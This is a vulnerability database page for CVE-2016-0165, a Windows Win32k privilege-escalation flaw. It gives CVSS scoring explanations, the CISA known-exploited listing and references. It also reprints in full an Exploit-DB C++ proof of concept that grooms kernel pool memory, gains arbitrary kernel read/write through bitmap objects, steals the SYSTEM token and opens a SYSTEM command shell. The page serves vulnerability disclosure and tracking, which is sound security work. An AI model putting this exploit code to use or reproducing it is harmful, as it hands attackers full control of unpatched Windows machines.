CVE-2016-0165 : Detail

CVE-2016-0165

7.8
/
High
24.78%V3
Local
2016-04-12
23h00 +00:00
2025-02-10
16h52 +00:00
CVE.org
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CVE Descriptions

The kernel-mode driver in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, and Windows 10 Gold and 1511 allows local users to gain privileges via a crafted application, aka "Win32k Elevation of Privilege Vulnerability," a different vulnerability than CVE-2016-0143 and CVE-2016-0167.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Win32k Privilege Escalation Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2023-06-21 22h00 +00:00

Action is due : 2023-07-12 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44480

Publication date : 2018-02-28 23h00 +00:00
Author : xiaodaozhi
EDB Verified : No

#include <Windows.h> #include <wingdi.h> #include <iostream> #include <Psapi.h> #pragma comment(lib, "psapi.lib") #define POCDEBUG 0 #if POCDEBUG == 1 #define POCDEBUG_BREAK() getchar() #elif POCDEBUG == 2 #define POCDEBUG_BREAK() DebugBreak() #else #define POCDEBUG_BREAK() #endif static HBITMAP hBmpHunted = NULL; static HBITMAP hBmpExtend = NULL; static DWORD iMemHunted = NULL; static PDWORD pBmpHunted = NULL; CONST LONG maxCount = 0x6666667; CONST LONG maxLimit = 0x04E2000; CONST LONG maxTimes = 4000; CONST LONG tmpTimes = 5500; static POINT point[maxCount] = { 0, 0 }; static HBITMAP hbitmap[maxTimes] = { NULL }; static HACCEL hacctab[tmpTimes] = { NULL }; CONST LONG iExtHeight = 948; CONST LONG iExtpScan0 = 951; static VOID xxCreateClipboard(DWORD Size) { PBYTE Buffer = (PBYTE)malloc(Size); FillMemory(Buffer, Size, 0x41); Buffer[Size - 1] = 0x00; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size); CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size); GlobalUnlock(hMem); SetClipboardData(CF_TEXT, hMem); } static BOOL xxPoint(LONG id, DWORD Value) { LONG iLeng = 0x00; pBmpHunted[id] = Value; iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (iLeng < 0x1000) { return FALSE; } return TRUE; } static BOOL xxPointToHit(LONG addr, PVOID pvBits, DWORD cb) { LONG iLeng = 0; pBmpHunted[iExtpScan0] = addr; iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (iLeng < 0x1000) { return FALSE; } iLeng = SetBitmapBits(hBmpExtend, cb, pvBits); if (iLeng < (LONG)cb) { return FALSE; } return TRUE; } static BOOL xxPointToGet(LONG addr, PVOID pvBits, DWORD cb) { LONG iLeng = 0; pBmpHunted[iExtpScan0] = addr; iLeng = SetBitmapBits(hBmpHunted, 0x1000, pBmpHunted); if (iLeng < 0x1000) { return FALSE; } iLeng = GetBitmapBits(hBmpExtend, cb, pvBits); if (iLeng < (LONG)cb) { return FALSE; } return TRUE; } static VOID xxInitPoints(VOID) { for (LONG i = 0; i < maxCount; i++) { point[i].x = (i % 2) + 1; point[i].y = 100; } for (LONG i = 0; i < 75; i++) { point[i].y = i + 1; } } static BOOL xxDrawPolyLines(HDC hdc) { for (LONG i = maxCount; i > 0; i -= min(maxLimit, i)) { // std::cout << ":" << (PVOID)i << std::endl; if (!PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i))) { return FALSE; } } return TRUE; } static BOOL xxCreateBitmaps(INT nWidth, INT Height, UINT nbitCount) { POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { hbitmap[i] = CreateBitmap(nWidth, Height, 1, nbitCount, NULL); if (hbitmap[i] == NULL) { return FALSE; } } return TRUE; } static BOOL xxCreateAcceleratorTables(VOID) { POCDEBUG_BREAK(); for (LONG i = 0; i < tmpTimes; i++) { ACCEL acckey[0x0D] = { 0 }; hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D); if (hacctab[i] == NULL) { return FALSE; } } return TRUE; } static BOOL xxDeleteBitmaps(VOID) { BOOL bReturn = FALSE; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { bReturn = DeleteObject(hbitmap[i]); hbitmap[i] = NULL; } return bReturn; } static VOID xxCreateClipboards(VOID) { POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { xxCreateClipboard(0xB5C); } } static BOOL xxDigHoleInAcceleratorTables(LONG b, LONG e) { BOOL bReturn = FALSE; for (LONG i = b; i < e; i++) { bReturn = DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; } return bReturn; } static VOID xxDeleteAcceleratorTables(VOID) { for (LONG i = 0; i < tmpTimes; i++) { if (hacctab[i] == NULL) { continue; } DestroyAcceleratorTable(hacctab[i]); hacctab[i] = NULL; } } static BOOL xxRetrieveBitmapBits(VOID) { pBmpHunted = static_cast<PDWORD>(malloc(0x1000)); ZeroMemory(pBmpHunted, 0x1000); LONG index = -1; LONG iLeng = -1; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { iLeng = GetBitmapBits(hbitmap[i], 0x1000, pBmpHunted); if (iLeng < 0x2D0) { continue; } index = i; std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl; hBmpHunted = hbitmap[i]; break; } if (index == -1) { std::cout << "FAILED: " << (PVOID)(-1) << std::endl; return FALSE; } return TRUE; } static BOOL xxGetExtendPalette(VOID) { PVOID pBmpExtend = malloc(0x1000); LONG index = -1; POCDEBUG_BREAK(); for (LONG i = 0; i < maxTimes; i++) { if (hbitmap[i] == hBmpHunted) { continue; } if (GetBitmapBits(hbitmap[i], 0x1000, pBmpExtend) < 0x2D0) { continue; } index = i; std::cout << "LOCATE: " << '[' << i << ']' << hbitmap[i] << std::endl; hBmpExtend = hbitmap[i]; break; } free(pBmpExtend); pBmpExtend = NULL; if (index == -1) { std::cout << "FAILED: " << (PVOID)(-1) << std::endl; return FALSE; } return TRUE; } static VOID xxOutputBitmapBits(VOID) { POCDEBUG_BREAK(); for (LONG i = 0; i < 0x1000 / sizeof(DWORD); i++) { std::cout << '['; std::cout.fill('0'); std::cout.width(4); std::cout << i << ']' << (PVOID)pBmpHunted[i]; if (((i + 1) % 4) != 0) { std::cout << " "; } else { std::cout << std::endl; } } std::cout.width(0); } static BOOL xxFixHuntedPoolHeader(VOID) { DWORD szInputBit[0x100] = { 0 }; CONST LONG iTrueCbdHead = 205; CONST LONG iTrueBmpHead = 937; szInputBit[0] = pBmpHunted[iTrueCbdHead + 0]; szInputBit[1] = pBmpHunted[iTrueCbdHead + 1]; BOOL bReturn = FALSE; bReturn = xxPointToHit(iMemHunted + 0x000, szInputBit, 0x08); if (!bReturn) { return FALSE; } szInputBit[0] = pBmpHunted[iTrueBmpHead + 0]; szInputBit[1] = pBmpHunted[iTrueBmpHead + 1]; bReturn = xxPointToHit(iMemHunted + 0xb70, szInputBit, 0x08); if (!bReturn) { return FALSE; } return TRUE; } static BOOL xxFixHuntedBitmapObject(VOID) { DWORD szInputBit[0x100] = { 0 }; szInputBit[0] = (DWORD)hBmpHunted; BOOL bReturn = FALSE; bReturn = xxPointToHit(iMemHunted + 0xb78, szInputBit, 0x04); if (!bReturn) { return FALSE; } bReturn = xxPointToHit(iMemHunted + 0xb8c, szInputBit, 0x04); if (!bReturn) { return FALSE; } return TRUE; } static DWORD_PTR xxGetNtoskrnlAddress(VOID) { DWORD_PTR AddrList[500] = { 0 }; DWORD cbNeeded = 0; EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded); return AddrList[0]; } static DWORD_PTR xxGetSysPROCESS(VOID) { DWORD_PTR Module = 0x00; DWORD_PTR NtAddr = 0x00; Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe"); NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess"); FreeLibrary((HMODULE)Module); NtAddr = NtAddr - Module; Module = xxGetNtoskrnlAddress(); if (Module == 0x00) { return 0x00; } NtAddr = NtAddr + Module; if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR))) { return 0x00; } return NtAddr; } CONST LONG off_EPROCESS_UniqueProId = 0x0b4; CONST LONG off_EPROCESS_ActiveLinks = 0x0b8; static DWORD_PTR xxGetTarPROCESS(DWORD_PTR SysPROC) { if (SysPROC == 0x00) { return 0x00; } DWORD_PTR point = SysPROC; DWORD_PTR value = 0x00; do { value = 0x00; xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR)); if (value == 0x00) { break; } if (value == GetCurrentProcessId()) { return point; } value = 0x00; xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR)); if (value == 0x00) { break; } point = value - off_EPROCESS_ActiveLinks; if (point == SysPROC) { break; } } while (TRUE); return 0x00; } CONST LONG off_EPROCESS_Token = 0x0f8; static DWORD_PTR dstToken = 0x00; static DWORD_PTR srcToken = 0x00; static BOOL xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC) { if (dstPROC == 0x00 || srcPROC == 0x00) { return FALSE; } // get target process original token pointer xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR)); if (dstToken == 0x00) { return FALSE; } // get system process token pointer xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR)); if (srcToken == 0x00) { return FALSE; } // modify target process token pointer to system xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR)); // just test if the modification is successful DWORD_PTR tmpToken = 0x00; xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR)); if (tmpToken != srcToken) { return FALSE; } return TRUE; } static BOOL xxRecoverTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC) { if (dstPROC == 0x00 || srcPROC == 0x00) { return FALSE; } if (dstToken == 0x00 || srcToken == 0x00) { return FALSE; } // recover the original token pointer to target process xxPointToHit(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR)); return TRUE; } static VOID xxCreateCmdLineProcess(VOID) { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOW; WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" }; BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess); } static VOID xxPrivilegeElevation(VOID) { BOOL bReturn = FALSE; do { DWORD SysPROC = 0x0; DWORD TarPROC = 0x0; POCDEBUG_BREAK(); SysPROC = xxGetSysPROCESS(); if (SysPROC == 0x00) { break; } std::cout << "SYSTEM PROCESS: " << (PVOID)SysPROC << std::endl; POCDEBUG_BREAK(); TarPROC = xxGetTarPROCESS(SysPROC); if (TarPROC == 0x00) { break; } std::cout << "TARGET PROCESS: " << (PVOID)TarPROC << std::endl; POCDEBUG_BREAK(); bReturn = xxModifyTokenPointer(TarPROC, SysPROC); if (!bReturn) { break; } std::cout << "MODIFIED TOKEN TO SYSTEM!" << std::endl; std::cout << "CREATE NEW CMDLINE PROCESS..." << std::endl; POCDEBUG_BREAK(); xxCreateCmdLineProcess(); POCDEBUG_BREAK(); std::cout << "RECOVER TOKEN..." << std::endl; bReturn = xxRecoverTokenPointer(TarPROC, SysPROC); if (!bReturn) { break; } bReturn = TRUE; } while (FALSE); if (!bReturn) { std::cout << "FAILED" << std::endl; } } INT POC_CVE20160165(VOID) { std::cout << "-------------------" << std::endl; std::cout << "POC - CVE-2016-0165" << std::endl; std::cout << "-------------------" << std::endl; BOOL bReturn = FALSE; do { std::cout << "INIT POINTS..." << std::endl; xxInitPoints(); HDC hdc = GetDC(NULL); std::cout << "GET DEVICE CONTEXT: " << hdc << std::endl; if (hdc == NULL) { bReturn = FALSE; break; } std::cout << "BEGIN DC PATH..." << std::endl; bReturn = BeginPath(hdc); if (!bReturn) { break; } std::cout << "DRAW POLYLINES..." << std::endl; bReturn = xxDrawPolyLines(hdc); if (!bReturn) { break; } std::cout << "ENDED DC PATH..." << std::endl; bReturn = EndPath(hdc); if (!bReturn) { break; } std::cout << "CREATE BITMAPS (1)..." << std::endl; bReturn = xxCreateBitmaps(0xE34, 0x01, 8); if (!bReturn) { break; } std::cout << "CREATE ACCTABS (1)..." << std::endl; bReturn = xxCreateAcceleratorTables(); if (!bReturn) { break; } std::cout << "DELETE BITMAPS (1)..." << std::endl; xxDeleteBitmaps(); std::cout << "CREATE CLIPBDS (1)..." << std::endl; xxCreateClipboards(); std::cout << "CREATE BITMAPS (2)..." << std::endl; bReturn = xxCreateBitmaps(0x01, 0xB1, 32); std::cout << "DELETE ACCTABS (H)..." << std::endl; xxDigHoleInAcceleratorTables(2000, 4000); std::cout << "PATH TO REGION..." << std::endl; POCDEBUG_BREAK(); HRGN hrgn = PathToRegion(hdc); if (hrgn == NULL) { bReturn = FALSE; break; } std::cout << "DELETE REGION..." << std::endl; DeleteObject(hrgn); std::cout << "LOCATE HUNTED BITMAP..." << std::endl; bReturn = xxRetrieveBitmapBits(); if (!bReturn) { break; } // std::cout << "OUTPUT BITMAP BITS..." << std::endl; // xxOutputBitmapBits(); std::cout << "MODIFY EXTEND BITMAP HEIGHT..." << std::endl; POCDEBUG_BREAK(); bReturn = xxPoint(iExtHeight, 0xFFFFFFFF); if (!bReturn) { break; } std::cout << "LOCATE EXTEND BITMAP..." << std::endl; bReturn = xxGetExtendPalette(); if (!bReturn) { break; } if ((pBmpHunted[iExtpScan0] & 0xFFF) != 0x00000CCC) { bReturn = FALSE; std::cout << "FAILED: " << (PVOID)pBmpHunted[iExtpScan0] << std::endl; break; } iMemHunted = (pBmpHunted[iExtpScan0] & ~0xFFF) - 0x1000; std::cout << "HUNTED PAGE: " << (PVOID)iMemHunted << std::endl; std::cout << "FIX HUNTED POOL HEADER..." << std::endl; bReturn = xxFixHuntedPoolHeader(); if (!bReturn) { break; } std::cout << "FIX HUNTED BITMAP OBJECT..." << std::endl; bReturn = xxFixHuntedBitmapObject(); if (!bReturn) { break; } std::cout << "-------------------" << std::endl; std::cout << "PRIVILEGE ELEVATION" << std::endl; std::cout << "-------------------" << std::endl; xxPrivilegeElevation(); std::cout << "-------------------" << std::endl; std::cout << "DELETE BITMAPS (2)..." << std::endl; xxDeleteBitmaps(); std::cout << "DELETE ACCTABS (3)..." << std::endl; xxDeleteAcceleratorTables(); bReturn = TRUE; } while (FALSE); if (!bReturn) { std::cout << GetLastError() << std::endl; } std::cout << "-------------------" << std::endl; getchar(); return 0; } INT main(INT argc, CHAR *argv[]) { POC_CVE20160165(); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version *

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

Microsoft>>Windows_vista >> Version -

References

http://www.securitytracker.com/id/1035529
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/44480/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1035532
Tags : vdb-entry, x_refsource_SECTRACK